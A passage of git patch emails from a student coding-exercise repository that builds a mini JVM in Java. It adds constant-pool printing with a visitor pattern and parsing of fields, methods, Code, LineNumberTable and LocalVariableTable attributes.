+                case ConstantInfo.UTF8_INFO:         // CONSTANT_Utf8
                     int length = iter.nextU2ToInt();
                     byte[] data = iter.getBytes(length);
                     String value = null;
diff --git a/group11/252308879/mini-jvm/src/test/java/com/pan/MapForEachTest.java b/group11/252308879/mini-jvm/src/test/java/com/pan/MapForEachTest.java
new file mode 100644
index 0000000000..9170ba4f49
--- /dev/null
+++ b/group11/252308879/mini-jvm/src/test/java/com/pan/MapForEachTest.java
@@ -0,0 +1,30 @@
+package com.pan;
+
+import org.junit.Test;
+
+import java.util.HashMap;
+import java.util.Map;
+
+/**
+ * Created by QiPan on 2017/4/19.
+ */
+public class MapForEachTest {
+
+    @Test
+    public void  testForEach(){
+
+        Map<Integer, Integer> map = new HashMap<>();
+        map.put(1, 11);
+        map.put(2, 22);
+        map.put(3, 33);
+
+        Map<Integer, String> map2 = new HashMap<>();
+        map.forEach((key, value) -> map2.put(key, value.toString()));
+
+        System.out.println(map2);
+
+
+
+    }
+
+}

From 1a98d68f8a13923a9adcdbf24ec67b6e9a2d33b8 Mon Sep 17 00:00:00 2001
From: ZhaoHongxin <zhaohongxin621@126.com>
Date: Sat, 22 Apr 2017 11:47:44 +0800
Subject: [PATCH 101/262] =?UTF-8?q?JVM=E4=BD=9C=E4=B8=9A=20=E5=AE=8C?=
 =?UTF-8?q?=E6=88=90=E5=B8=B8=E9=87=8F=E6=B1=A0=E6=89=93=E5=8D=B0?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 .../coderising/jvm/constant/ClassInfo.java    |  5 ++
 .../coderising/jvm/constant/ConstantInfo.java | 13 ++++
 .../coderising/jvm/constant/ConstantPool.java |  2 +-
 .../coderising/jvm/constant/FieldRefInfo.java |  4 ++
 .../jvm/constant/MethodRefInfo.java           |  5 ++
 .../jvm/constant/NameAndTypeInfo.java         |  5 ++
 .../jvm/constant/NullConstantInfo.java        |  3 +
 .../coderising/jvm/constant/StringInfo.java   |  5 ++
 .../com/coderising/jvm/constant/UTF8Info.java |  6 +-
 .../jvm/print/ClassFilePrinter.java           |  7 +-
 .../jvm/print/ConstantPoolPrinter.java        | 70 ++++++++++++++++++-
 11 files changed, 118 insertions(+), 7 deletions(-)

diff --git a/group05/1094051862/mini-jvm/src/com/coderising/jvm/constant/ClassInfo.java b/group05/1094051862/mini-jvm/src/com/coderising/jvm/constant/ClassInfo.java
index 92ae6bd6f6..fdf965b579 100644
--- a/group05/1094051862/mini-jvm/src/com/coderising/jvm/constant/ClassInfo.java
+++ b/group05/1094051862/mini-jvm/src/com/coderising/jvm/constant/ClassInfo.java
@@ -21,4 +21,9 @@ public String getClassName() {
 		UTF8Info utf8Info = (UTF8Info)constantPool.getConstantInfo(index);
 		return utf8Info.getValue();		
 	}
+	@Override
+	public void accept(Visitor visitor) {
+		visitor.visitClassInfo(this);
+	}
+	
 }
diff --git a/group05/1094051862/mini-jvm/src/com/coderising/jvm/constant/ConstantInfo.java b/group05/1094051862/mini-jvm/src/com/coderising/jvm/constant/ConstantInfo.java
index 2e3bef0a4e..d6abf114c9 100644
--- a/group05/1094051862/mini-jvm/src/com/coderising/jvm/constant/ConstantInfo.java
+++ b/group05/1094051862/mini-jvm/src/com/coderising/jvm/constant/ConstantInfo.java
@@ -27,4 +27,17 @@ public ConstantInfo getConstantInfo(int index){
 		return this.constantPool.getConstantInfo(index);
 	}
 	
+	public abstract void accept(Visitor visitor);
+	
+	public static interface Visitor{
+		
+		public void visitClassInfo(ClassInfo info);
+		public void visitFieldRef(FieldRefInfo info);
+		public void visitMethodRef(MethodRefInfo info);
+		public void visitNameAndType(NameAndTypeInfo info);
+		public void visitString(StringInfo info);
+		public void visitUTF8(UTF8Info info);
+		
+	}
+	
 }
diff --git a/group05/1094051862/mini-jvm/src/com/coderising/jvm/constant/ConstantPool.java b/group05/1094051862/mini-jvm/src/com/coderising/jvm/constant/ConstantPool.java
index 0e940b78d0..805de5cd39 100644
--- a/group05/1094051862/mini-jvm/src/com/coderising/jvm/constant/ConstantPool.java
+++ b/group05/1094051862/mini-jvm/src/com/coderising/jvm/constant/ConstantPool.java
@@ -23,7 +23,7 @@ public ConstantInfo getConstantInfo(int index){
 	public String getUTF8String(int index){
 		return ((UTF8Info)this.constantInfos.get(index)).getValue();
 	}
-	public Object getSize() {		
+	public int getSize() {		
 		return this.constantInfos.size() -1;
 	}
 }
diff --git a/group05/1094051862/mini-jvm/src/com/coderising/jvm/constant/FieldRefInfo.java b/group05/1094051862/mini-jvm/src/com/coderising/jvm/constant/FieldRefInfo.java
index 7ff9d5fb77..d9fe4126f4 100644
--- a/group05/1094051862/mini-jvm/src/com/coderising/jvm/constant/FieldRefInfo.java
+++ b/group05/1094051862/mini-jvm/src/com/coderising/jvm/constant/FieldRefInfo.java
@@ -51,4 +51,8 @@ public String getFieldType(){
 		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)this.getConstantInfo(this.getNameAndTypeIndex());
 		return typeInfo.getTypeInfo();	
 	}
+	@Override
+	public void accept(Visitor visitor) {
+		visitor.visitFieldRef(this);
+	}
 }
diff --git a/group05/1094051862/mini-jvm/src/com/coderising/jvm/constant/MethodRefInfo.java b/group05/1094051862/mini-jvm/src/com/coderising/jvm/constant/MethodRefInfo.java
index 0feffa65b5..cc54887ddf 100644
--- a/group05/1094051862/mini-jvm/src/com/coderising/jvm/constant/MethodRefInfo.java
+++ b/group05/1094051862/mini-jvm/src/com/coderising/jvm/constant/MethodRefInfo.java
@@ -49,6 +49,11 @@ public String getParamAndReturnType(){
 		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)pool.getConstantInfo(this.getNameAndTypeIndex());
 		return typeInfo.getTypeInfo();
 	}
+
+	@Override
+	public void accept(Visitor visitor) {
+		visitor.visitMethodRef(this);
+	}
 	
 	
 	
diff --git a/group05/1094051862/mini-jvm/src/com/coderising/jvm/constant/NameAndTypeInfo.java b/group05/1094051862/mini-jvm/src/com/coderising/jvm/constant/NameAndTypeInfo.java
index dcac7f97c4..c9b987ceaa 100644
--- a/group05/1094051862/mini-jvm/src/com/coderising/jvm/constant/NameAndTypeInfo.java
+++ b/group05/1094051862/mini-jvm/src/com/coderising/jvm/constant/NameAndTypeInfo.java
@@ -42,4 +42,9 @@ public String getTypeInfo(){
 	public String toString(){
 		return "(" + getName() + "," + getTypeInfo()+")";
 	}
+
+	@Override
+	public void accept(Visitor visitor) {
+		visitor.visitNameAndType(this);
+	}
 }
diff --git a/group05/1094051862/mini-jvm/src/com/coderising/jvm/constant/NullConstantInfo.java b/group05/1094051862/mini-jvm/src/com/coderising/jvm/constant/NullConstantInfo.java
index fa90d110fe..cfc52f5582 100644
--- a/group05/1094051862/mini-jvm/src/com/coderising/jvm/constant/NullConstantInfo.java
+++ b/group05/1094051862/mini-jvm/src/com/coderising/jvm/constant/NullConstantInfo.java
@@ -9,5 +9,8 @@ public NullConstantInfo(){
 	public int getType() {		
 		return -1;
 	}
+	@Override
+	public void accept(Visitor visitor) {
+	}
 	
 }
diff --git a/group05/1094051862/mini-jvm/src/com/coderising/jvm/constant/StringInfo.java b/group05/1094051862/mini-jvm/src/com/coderising/jvm/constant/StringInfo.java
index d01065fd53..139406d085 100644
--- a/group05/1094051862/mini-jvm/src/com/coderising/jvm/constant/StringInfo.java
+++ b/group05/1094051862/mini-jvm/src/com/coderising/jvm/constant/StringInfo.java
@@ -22,5 +22,10 @@ public void setIndex(int index) {
 	public String toString(){
 		return this.getConstantPool().getUTF8String(index);
 	}
+
+	@Override
+	public void accept(Visitor visitor) {
+		visitor.visitString(this);
+	}
 	
 }
diff --git a/group05/1094051862/mini-jvm/src/com/coderising/jvm/constant/UTF8Info.java b/group05/1094051862/mini-jvm/src/com/coderising/jvm/constant/UTF8Info.java
index b7407d146f..cf6409676f 100644
--- a/group05/1094051862/mini-jvm/src/com/coderising/jvm/constant/UTF8Info.java
+++ b/group05/1094051862/mini-jvm/src/com/coderising/jvm/constant/UTF8Info.java
@@ -26,7 +26,9 @@ public String getValue() {
 	public void setValue(String value) {
 		this.value = value;
 	}
-	
-	
+	@Override
+	public void accept(Visitor visitor) {
+		visitor.visitUTF8(this);
+	}
 
 }
diff --git a/group05/1094051862/mini-jvm/src/com/coderising/jvm/print/ClassFilePrinter.java b/group05/1094051862/mini-jvm/src/com/coderising/jvm/print/ClassFilePrinter.java
index d1579dba28..b6dc906db9 100644
--- a/group05/1094051862/mini-jvm/src/com/coderising/jvm/print/ClassFilePrinter.java
+++ b/group05/1094051862/mini-jvm/src/com/coderising/jvm/print/ClassFilePrinter.java
@@ -1,5 +1,7 @@
 package com.coderising.jvm.print;
 
+import java.util.Formatter;
+
 import com.coderising.jvm.clz.ClassFile;
 import com.coderising.jvm.constant.ClassInfo;
 import com.coderising.jvm.constant.ConstantInfo;
@@ -29,7 +31,7 @@ public void print(){
 		
 		System.out.println("minor version:" + clzFile.getMinorVersion());
 		
-		System.out.println("major version:" + clzFile.getMinorVersion());
+		System.out.println("major version:" + clzFile.getMajorVersion());
 		
 		ConstantPoolPrinter cnstPoolPrinter = new ConstantPoolPrinter(clzFile.getConstantPool());
 		cnstPoolPrinter.print();
@@ -40,7 +42,7 @@ public void print(){
 	}
 	
 	public static void main(String[] args){
-		String path = "C:\\Users\\liuxin\\git\\coding2017\\liuxin\\mini-jvm\\bin";
+		String path =  "E:\\practise\\group05\\1094051862\\mini-jvm\\bin";
 		ClassFileLoader loader = new ClassFileLoader();
 		loader.addClassPath(path);
 		String className = "com.coderising.jvm.test.EmployeeV1";
@@ -50,5 +52,6 @@ public static void main(String[] args){
 		ClassFilePrinter printer  = new ClassFilePrinter(clzFile);
 		
 		printer.print();
+		
 	}
 }
diff --git a/group05/1094051862/mini-jvm/src/com/coderising/jvm/print/ConstantPoolPrinter.java b/group05/1094051862/mini-jvm/src/com/coderising/jvm/print/ConstantPoolPrinter.java
index 4010078059..280a71aa5f 100644
--- a/group05/1094051862/mini-jvm/src/com/coderising/jvm/print/ConstantPoolPrinter.java
+++ b/group05/1094051862/mini-jvm/src/com/coderising/jvm/print/ConstantPoolPrinter.java
@@ -1,7 +1,10 @@
 package com.coderising.jvm.print;
 
+import java.util.Formatter;
+
 import com.coderising.jvm.constant.ClassInfo;
 import com.coderising.jvm.constant.ConstantInfo;
+import com.coderising.jvm.constant.ConstantInfo.Visitor;
 import com.coderising.jvm.constant.ConstantPool;
 import com.coderising.jvm.constant.FieldRefInfo;
 import com.coderising.jvm.constant.MethodRefInfo;
@@ -18,8 +21,71 @@ public void print(){
 		
 		System.out.println("Constant Pool:");
 		
+		Formatter formatter = new Formatter(System.out);
+		ConstantInfo.Visitor visitor = new ConstantInfo.Visitor() {
+			
+			@Override
+			public void visitUTF8(UTF8Info info) {
+				StringBuilder buffer = new StringBuilder();
+				buffer.append("UTF8");
+				formatter.format("%-15s %-10s\n", 
+						"UTF8",info.getValue());
+			}
+			
+			@Override
+			public void visitString(StringInfo info) {
+				StringBuilder buffer = new StringBuilder();
+				buffer.append("#").append(info.getIndex());
+				formatter.format("%-15s %-10s %-10s\n", 
+						"String", buffer, "// "+pool.getUTF8String(info.getIndex()));
+			}
+			
+			@Override
+			public void visitNameAndType(NameAndTypeInfo info) {
+				StringBuilder buffer = new StringBuilder();
+				buffer.append("#").append(info.getIndex1()).append(":#")
+				.append(info.getIndex2());
+				
+				formatter.format("%-15s %-10s %-10s\n",
+						 "NameAndType", buffer,
+						 "// "+pool.getUTF8String(info.getIndex1())+":"+pool.getUTF8String(info.getIndex2()));
+			}
+			
+			@Override
+			public void visitMethodRef(MethodRefInfo info) {
+				StringBuilder buffer = new StringBuilder();
+				buffer.append("#").append(info.getClassInfoIndex()).append(".#")
+				.append(info.getNameAndTypeIndex());
+				formatter.format("%-15s %-10s %-10s\n", 
+						"MethodRef", buffer, 
+						"// "+info.getClassName()+"."+info.getMethodName()+":"+info.getParamAndReturnType());
+			}
+			
+			@Override
+			public void visitFieldRef(FieldRefInfo info) {
+				StringBuilder buffer = new StringBuilder();
+				buffer.append("#").append(info.getClassInfoIndex()).append(".#")
+				.append(info.getNameAndTypeIndex());
+				formatter.format("%-15s %-10s %-10s\n", 
+						"FieldRef", buffer, 
+						"// "+info.getClassName()+"."+info.getFieldName()+":"+info.getFieldType());
+			}
+			
+			@Override
+			public void visitClassInfo(ClassInfo info) {
+				StringBuilder buffer = new StringBuilder();
+				buffer.append("#").append(info.getUtf8Index());
+				formatter.format("%-15s %-10s %-10s\n", 
+						"Class", buffer, "// "+info.getClassName());
+			}
+		};
 		
-		
-		
+		for(int i = 1; i <= pool.getSize(); i++) {
+			ConstantInfo constantInfo = pool.getConstantInfo(i);
+			System.out.printf("%8s", "#" + i + " = ");//左对齐，8个空格
+			constantInfo.accept(visitor);
+		}
+		System.out.println("\n"+"\t"+"FORMATTED BY KANDDE.");
+		formatter.close();
 	}
 }

From 2c2e4801a05b0cee814fdd16b093c149909455ba Mon Sep 17 00:00:00 2001
From: xiaomingbai <498654356@qq.com>
Date: Sat, 22 Apr 2017 17:13:26 +0800
Subject: [PATCH 102/262] add jvm field,method

---
 .../coderising/jvm/attr/AttributeInfo.java    | 28 ++++++
 .../com/coderising/jvm/attr/CodeAttr.java     | 89 +++++++++++++++++++
 .../coderising/jvm/attr/LineNumberTable.java  | 58 ++++++++++++
 .../jvm/attr/LocalVariableItem.java           | 54 +++++++++++
 .../jvm/attr/LocalVariableTable.java          | 42 +++++++++
 .../com/coderising/jvm/clz/ClassFile.java     | 23 +++++
 .../coderising/jvm/constant/ConstantPool.java |  3 +
 .../java/com/coderising/jvm/field/Field.java  | 44 +++++++++
 .../jvm/loader/ByteCodeIterator.java          | 28 +++++-
 .../jvm/loader/ClassFileParser.java           | 66 +++++++++++++-
 .../com/coderising/jvm/method/Method.java     | 43 +++++++++
 .../jvm/test/ClassFileloaderTest.java         | 78 ++++++++++++++++
 12 files changed, 554 insertions(+), 2 deletions(-)
 create mode 100644 group04/498654356/mini-jvm/jvm/src/main/java/com/coderising/jvm/attr/AttributeInfo.java
 create mode 100644 group04/498654356/mini-jvm/jvm/src/main/java/com/coderising/jvm/attr/CodeAttr.java
 create mode 100644 group04/498654356/mini-jvm/jvm/src/main/java/com/coderising/jvm/attr/LineNumberTable.java
 create mode 100644 group04/498654356/mini-jvm/jvm/src/main/java/com/coderising/jvm/attr/LocalVariableItem.java
 create mode 100644 group04/498654356/mini-jvm/jvm/src/main/java/com/coderising/jvm/attr/LocalVariableTable.java
 create mode 100644 group04/498654356/mini-jvm/jvm/src/main/java/com/coderising/jvm/field/Field.java
 create mode 100644 group04/498654356/mini-jvm/jvm/src/main/java/com/coderising/jvm/method/Method.java

diff --git a/group04/498654356/mini-jvm/jvm/src/main/java/com/coderising/jvm/attr/AttributeInfo.java b/group04/498654356/mini-jvm/jvm/src/main/java/com/coderising/jvm/attr/AttributeInfo.java
new file mode 100644
index 0000000000..bd6198e46f
--- /dev/null
+++ b/group04/498654356/mini-jvm/jvm/src/main/java/com/coderising/jvm/attr/AttributeInfo.java
@@ -0,0 +1,28 @@
+package com.coderising.jvm.attr;
+
+public class AttributeInfo {
+	public static final String ATTR_CODE = "Code";
+	public static final String ATTR_LINE_NUMBER_TABLE = "LineNumberTable";
+	public static final String ATTR_LOCAL_VARIABLE_TABLE = "LocalVariableTable";
+	
+	private int attrNameIndex;
+	private int attrLength;
+	public int getAttrNameIndex() {
+		return attrNameIndex;
+	}
+	public void setAttrNameIndex(int attrNameIndex) {
+		this.attrNameIndex = attrNameIndex;
+	}
+	public int getAttrLength() {
+		return attrLength;
+	}
+	public void setAttrLength(int attrLength) {
+		this.attrLength = attrLength;
+	}
+	public AttributeInfo(int attrNameIndex, int attrLength) {
+		super();
+		this.attrNameIndex = attrNameIndex;
+		this.attrLength = attrLength;
+	}
+	
+}
diff --git a/group04/498654356/mini-jvm/jvm/src/main/java/com/coderising/jvm/attr/CodeAttr.java b/group04/498654356/mini-jvm/jvm/src/main/java/com/coderising/jvm/attr/CodeAttr.java
new file mode 100644
index 0000000000..0f09f3f02b
--- /dev/null
+++ b/group04/498654356/mini-jvm/jvm/src/main/java/com/coderising/jvm/attr/CodeAttr.java
@@ -0,0 +1,89 @@
+package com.coderising.jvm.attr;
+
+import org.junit.Assert;
+
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.loader.ByteCodeIterator;
+
+public class CodeAttr extends AttributeInfo{
+	
+	private int maxStack ;
+	private int maxLocals ;
+	private int codeLength ;
+	private String code;
+	private LineNumberTable lineNumTable;
+	private LocalVariableTable localVariableTable;
+	public LocalVariableTable getLocalVariableTable() {
+		return localVariableTable;
+	}
+	public void setLocalVariableTable(LocalVariableTable localVariableTable) {
+		this.localVariableTable = localVariableTable;
+	}
+	public CodeAttr(int attrNameIndex, int attrLength) {
+		super(attrNameIndex, attrLength);
+	}
+	public int getMaxStack() {
+		return maxStack;
+	}
+	public void setMaxStack(int maxStack) {
+		this.maxStack = maxStack;
+	}
+	public int getMaxLocals() {
+		return maxLocals;
+	}
+	public void setMaxLocals(int maxLocals) {
+		this.maxLocals = maxLocals;
+	}
+	public int getCodeLength() {
+		return codeLength;
+	}
+	public void setCodeLength(int codeLength) {
+		this.codeLength = codeLength;
+	}
+	public String getCode() {
+		return code;
+	}
+	public void setCode(String code) {
+		this.code = code;
+	}
+	public LineNumberTable getLineNumTable() {
+		return lineNumTable;
+	}
+	public void setLineNumTable(LineNumberTable lineNumTable) {
+		this.lineNumTable = lineNumTable;
+	}
+	public static CodeAttr parse(ByteCodeIterator it, ConstantPool constantPool) {
+		int attrNameIndex = it.next2ByteToInt();
+		int attrLength = it.next4ByteToInt();
+		int maxStack = it.next2ByteToInt();
+		int maxLocals = it.next2ByteToInt();
+		int codeLength = it.next4ByteToInt();
+		String code = it.nextXByteToHexStr(codeLength);
+		int exceptionTableLength = it.next2ByteToInt();
+		Assert.assertEquals(0, exceptionTableLength);
+		
+		CodeAttr codeAttr = new CodeAttr(attrNameIndex, attrLength);
+		codeAttr.setMaxStack(maxStack);
+		codeAttr.setMaxLocals(maxLocals);
+		codeAttr.setCodeLength(codeLength);
+		codeAttr.setCode(code);
+		
+		int subAttrCount = it.next2ByteToInt();
+		while(subAttrCount > 0) {
+			int subAttrNameIndex = it.next2ByteToInt();
+			String subAttrName = constantPool.getUTF8String(subAttrNameIndex);
+			if(AttributeInfo.ATTR_LINE_NUMBER_TABLE.equals(subAttrName)) { //LineNumberTable
+				it.back(2);
+				codeAttr.setLineNumTable(LineNumberTable.parse(it, constantPool));
+			} else if (AttributeInfo.ATTR_LOCAL_VARIABLE_TABLE.equals(subAttrName)) { //LocalVariableTable
+				it.back(2);
+				codeAttr.setLocalVariableTable(LocalVariableTable.parse(it, constantPool));
+			} else {
+				throw new RuntimeException("no implements attrName: " + subAttrName);
+			}
+			subAttrCount--;
+		}
+		return codeAttr;
+	}
+
+}
diff --git a/group04/498654356/mini-jvm/jvm/src/main/java/com/coderising/jvm/attr/LineNumberTable.java b/group04/498654356/mini-jvm/jvm/src/main/java/com/coderising/jvm/attr/LineNumberTable.java
new file mode 100644
index 0000000000..655549cf1f
--- /dev/null
+++ b/group04/498654356/mini-jvm/jvm/src/main/java/com/coderising/jvm/attr/LineNumberTable.java
@@ -0,0 +1,58 @@
+package com.coderising.jvm.attr;
+
+import java.util.ArrayList;
+import java.util.List;
+
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.loader.ByteCodeIterator;
+
+
+public class LineNumberTable extends AttributeInfo {
+	private List<LineNumberItem> lineNumberItems = new ArrayList<>();
+
+	public LineNumberTable(int attrNameIndex, int attrLength) {
+		super(attrNameIndex, attrLength);
+	}
+	
+	private static class LineNumberItem{
+		int startPC;
+		int lineNum;
+		public int getStartPC() {
+			return startPC;
+		}
+		public void setStartPC(int startPC) {
+			this.startPC = startPC;
+		}
+		public int getLineNum() {
+			return lineNum;
+		}
+		public void setLineNum(int lineNum) {
+			this.lineNum = lineNum;
+		}
+	}
+
+	public List<LineNumberItem> getLineNumberItems() {
+		return lineNumberItems;
+	}
+	
+	public void addLineNumberItem(LineNumberItem item){
+		this.lineNumberItems.add(item);
+	}
+
+
+	public static LineNumberTable parse(ByteCodeIterator it, ConstantPool constantPool) {
+		int attrNameIndex = it.next2ByteToInt();
+		int attrLength = it.next4ByteToInt();
+		LineNumberTable lineNumberTable = new LineNumberTable(attrNameIndex, attrLength);
+		int lineNumberTableLength = it.next2ByteToInt();
+		while(lineNumberTableLength > 0) {
+			LineNumberItem item = new LineNumberItem();
+			item.setStartPC(it.next2ByteToInt());
+			item.setLineNum(it.next2ByteToInt());
+			lineNumberTable.addLineNumberItem(item);
+			lineNumberTableLength--;
+		}
+		return lineNumberTable;
+	}
+
+}
diff --git a/group04/498654356/mini-jvm/jvm/src/main/java/com/coderising/jvm/attr/LocalVariableItem.java b/group04/498654356/mini-jvm/jvm/src/main/java/com/coderising/jvm/attr/LocalVariableItem.java
new file mode 100644
index 0000000000..a7d220d8a3
--- /dev/null
+++ b/group04/498654356/mini-jvm/jvm/src/main/java/com/coderising/jvm/attr/LocalVariableItem.java
@@ -0,0 +1,54 @@
+package com.coderising.jvm.attr;
+
+public class LocalVariableItem {
+
+	private int startPc; 
+	private int length; 
+	private int nameIndex; 
+	private int descIndex; 
+	private int index;
+	public int getStartPc() {
+		return startPc;
+	}
+	public void setStartPc(int startPc) {
+		this.startPc = startPc;
+	}
+	public int getLength() {
+		return length;
+	}
+	public void setLength(int length) {
+		this.length = length;
+	}
+	public int getNameIndex() {
+		return nameIndex;
+	}
+	public void setNameIndex(int nameIndex) {
+		this.nameIndex = nameIndex;
+	}
+	public int getDescIndex() {
+		return descIndex;
+	}
+	public void setDescIndex(int descIndex) {
+		this.descIndex = descIndex;
+	}
+	public int getIndex() {
+		return index;
+	}
+	public void setIndex(int index) {
+		this.index = index;
+	}
+	public LocalVariableItem(int startPc, int length, int nameIndex, int descIndex, int index) {
+		super();
+		this.startPc = startPc;
+		this.length = length;
+		this.nameIndex = nameIndex;
+		this.descIndex = descIndex;
+		this.index = index;
+	}
+	public LocalVariableItem() {
+		super();
+		// TODO Auto-generated constructor stub
+	} 
+	
+	
+}
diff --git a/group04/498654356/mini-jvm/jvm/src/main/java/com/coderising/jvm/attr/LocalVariableTable.java b/group04/498654356/mini-jvm/jvm/src/main/java/com/coderising/jvm/attr/LocalVariableTable.java
new file mode 100644
index 0000000000..2a08a4e778
--- /dev/null
+++ b/group04/498654356/mini-jvm/jvm/src/main/java/com/coderising/jvm/attr/LocalVariableTable.java
@@ -0,0 +1,42 @@
+package com.coderising.jvm.attr;
+
+import java.util.ArrayList;
+import java.util.List;
+
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.loader.ByteCodeIterator;
+
+public class LocalVariableTable extends AttributeInfo{
+	private List<LocalVariableItem>  localVariableItems = new ArrayList<>();
+
+	public List<LocalVariableItem> getLocalVariableItems() {
+		return localVariableItems;
+	}
+
+	public void addLocalVariableItem(LocalVariableItem localVariableItem) {
+		this.localVariableItems.add(localVariableItem);
+	}
+
+	public LocalVariableTable(int attrNameIndex, int attrLength) {
+		super(attrNameIndex, attrLength);
+	}
+
+	public static LocalVariableTable parse(ByteCodeIterator it, ConstantPool constantPool) {
+		int attrNameIndex = it.next2ByteToInt();
+		int attrLength = it.next4ByteToInt();
+		LocalVariableTable localVariableTable = new LocalVariableTable(attrNameIndex, attrLength);
+		
+		int localVariableTableLength = it.next2ByteToInt();
+		while(localVariableTableLength > 0) {
+			int startPc = it.next2ByteToInt();
+			int length = it.next2ByteToInt();
+			int nameIndex = it.next2ByteToInt();
+			int descIndex = it.next2ByteToInt();
+			int index = it.next2ByteToInt();
+			localVariableTable.addLocalVariableItem(new LocalVariableItem(startPc, length, nameIndex, descIndex, index));
+			localVariableTableLength--;
+		}
+		return localVariableTable;
+	}
+
+}
diff --git a/group04/498654356/mini-jvm/jvm/src/main/java/com/coderising/jvm/clz/ClassFile.java b/group04/498654356/mini-jvm/jvm/src/main/java/com/coderising/jvm/clz/ClassFile.java
index cbcd1dd0ae..387d6cad30 100644
--- a/group04/498654356/mini-jvm/jvm/src/main/java/com/coderising/jvm/clz/ClassFile.java
+++ b/group04/498654356/mini-jvm/jvm/src/main/java/com/coderising/jvm/clz/ClassFile.java
@@ -1,6 +1,11 @@
 package com.coderising.jvm.clz;
 
+import java.util.ArrayList;
+import java.util.List;
+
 import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.field.Field;
+import com.coderising.jvm.method.Method;
 
 public class ClassFile {
 
@@ -9,6 +14,8 @@ public class ClassFile {
 	private ConstantPool constantPool;
 	private ClassIndex classIndex;
 	private AccessFlag accessFlag;
+	private List<Field> fields = new ArrayList<Field> ();
+	private List<Method> methods = new ArrayList<Method> ();
 	
 	public int getMinorVersion() {
 		return minorVersion;
@@ -54,5 +61,21 @@ public AccessFlag getAccessFlag() {
 	public void setAccessFlag(AccessFlag accessFlag) {
 		this.accessFlag = accessFlag;
 	}
+
+	public List<Field> getFields() {
+		return this.fields;
+	}
+	
+	public void addFiled(Field field) {
+		this.fields.add(field);
+	}
+
+	public List<Method> getMethods() {
+		return this.methods;
+	}
+	
+	public void addMethod(Method method) {
+		this.methods.add(method);
+	}
 	
 }
diff --git a/group04/498654356/mini-jvm/jvm/src/main/java/com/coderising/jvm/constant/ConstantPool.java b/group04/498654356/mini-jvm/jvm/src/main/java/com/coderising/jvm/constant/ConstantPool.java
index da83d88297..bc823181c5 100644
--- a/group04/498654356/mini-jvm/jvm/src/main/java/com/coderising/jvm/constant/ConstantPool.java
+++ b/group04/498654356/mini-jvm/jvm/src/main/java/com/coderising/jvm/constant/ConstantPool.java
@@ -27,4 +27,7 @@ public ConstantInfo getConstantInfo(int i) {
 	public void addConstantInfo(ConstantInfo constantInfo) {
 		this.constantInfosList.add(constantInfo);
 	}
+	public String getUTF8String(int index) {
+		return ((UTF8Info)getConstantInfo(index)).getValue();
+	}
 }
diff --git a/group04/498654356/mini-jvm/jvm/src/main/java/com/coderising/jvm/field/Field.java b/group04/498654356/mini-jvm/jvm/src/main/java/com/coderising/jvm/field/Field.java
new file mode 100644
index 0000000000..b6d47bf761
--- /dev/null
+++ b/group04/498654356/mini-jvm/jvm/src/main/java/com/coderising/jvm/field/Field.java
@@ -0,0 +1,44 @@
+package com.coderising.jvm.field;
+
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.constant.UTF8Info;
+
+public class Field {
+
+	private int accessFlag;
+	private int nameIndex;
+	private int descIndex;
+	private ConstantPool constantPool;
+	public ConstantPool getConstantPool() {
+		return constantPool;
+	}
+	public void setConstantPool(ConstantPool constantPool) {
+		this.constantPool = constantPool;
+	}
+	public int getAccessFlag() {
+		return accessFlag;
+	}
+	public void setAccessFlag(int accessFlag) {
+		this.accessFlag = accessFlag;
+	}
+	public int getNameIndex() {
+		return nameIndex;
+	}
+	public void setNameIndex(int nameIndex) {
+		this.nameIndex = nameIndex;
+	}
+	public int getDescIndex() {
+		return descIndex;
+	}
+	public void setDescIndex(int descIndex) {
+		this.descIndex = descIndex;
+	}
+	
+	@Override
+	public String toString() {
+		String name = ((UTF8Info) this.constantPool.getConstantInfo(nameIndex)).getValue();
+		String desc = ((UTF8Info) this.constantPool.getConstantInfo(descIndex)).getValue();
+		return name + ":" + desc;
+	}
+	
+}
diff --git a/group04/498654356/mini-jvm/jvm/src/main/java/com/coderising/jvm/loader/ByteCodeIterator.java b/group04/498654356/mini-jvm/jvm/src/main/java/com/coderising/jvm/loader/ByteCodeIterator.java
index e4afbc62bc..ca87c3caab 100644
--- a/group04/498654356/mini-jvm/jvm/src/main/java/com/coderising/jvm/loader/ByteCodeIterator.java
+++ b/group04/498654356/mini-jvm/jvm/src/main/java/com/coderising/jvm/loader/ByteCodeIterator.java
@@ -19,13 +19,17 @@ public void skip(int index) {
 
 
 	public int next2ByteToInt() {
-		return converToInt(codes[index++],codes[index++]);
+		return converToInt(codes[index++], codes[index++]);
 	}
 
 	public int next1ByteToInt() {
 		return converToInt(codes[index++]);
 	}
 
+	public int next4ByteToInt() {
+		return converToInt(codes[index++], codes[index++], codes[index++], codes[index++]);
+	}
+	
 	/**
 	 * big-endian
 	 */
@@ -53,5 +57,27 @@ public String nextLengthByteToString(int length) {
 		}
 		return str;
 	}
+
+	public String nextXByteToHexStr(int length) {
+		byte[] bytes = Arrays.copyOfRange(codes, index, index + length);
+		StringBuffer buffer = new StringBuffer();
+		for(int i=0;i<bytes.length;i++){
+			byte b = bytes[i];
+			int value = b & 0xFF;
+			String strHex = Integer.toHexString(value);
+			if(strHex.length()< 2){
+				strHex = "0" + strHex;
+			}		
+			buffer.append(strHex);
+		}
+		index += length;
+		return buffer.toString();
+	}
+
+	public void back(int i) {
+		this.index -= i;
+	}
+
+
 	
 }
diff --git a/group04/498654356/mini-jvm/jvm/src/main/java/com/coderising/jvm/loader/ClassFileParser.java b/group04/498654356/mini-jvm/jvm/src/main/java/com/coderising/jvm/loader/ClassFileParser.java
index feac69befb..798c5b1826 100644
--- a/group04/498654356/mini-jvm/jvm/src/main/java/com/coderising/jvm/loader/ClassFileParser.java
+++ b/group04/498654356/mini-jvm/jvm/src/main/java/com/coderising/jvm/loader/ClassFileParser.java
@@ -1,5 +1,9 @@
 package com.coderising.jvm.loader;
 
+import org.junit.Assert;
+
+import com.coderising.jvm.attr.AttributeInfo;
+import com.coderising.jvm.attr.CodeAttr;
 import com.coderising.jvm.clz.AccessFlag;
 import com.coderising.jvm.clz.ClassFile;
 import com.coderising.jvm.clz.ClassIndex;
@@ -11,6 +15,9 @@
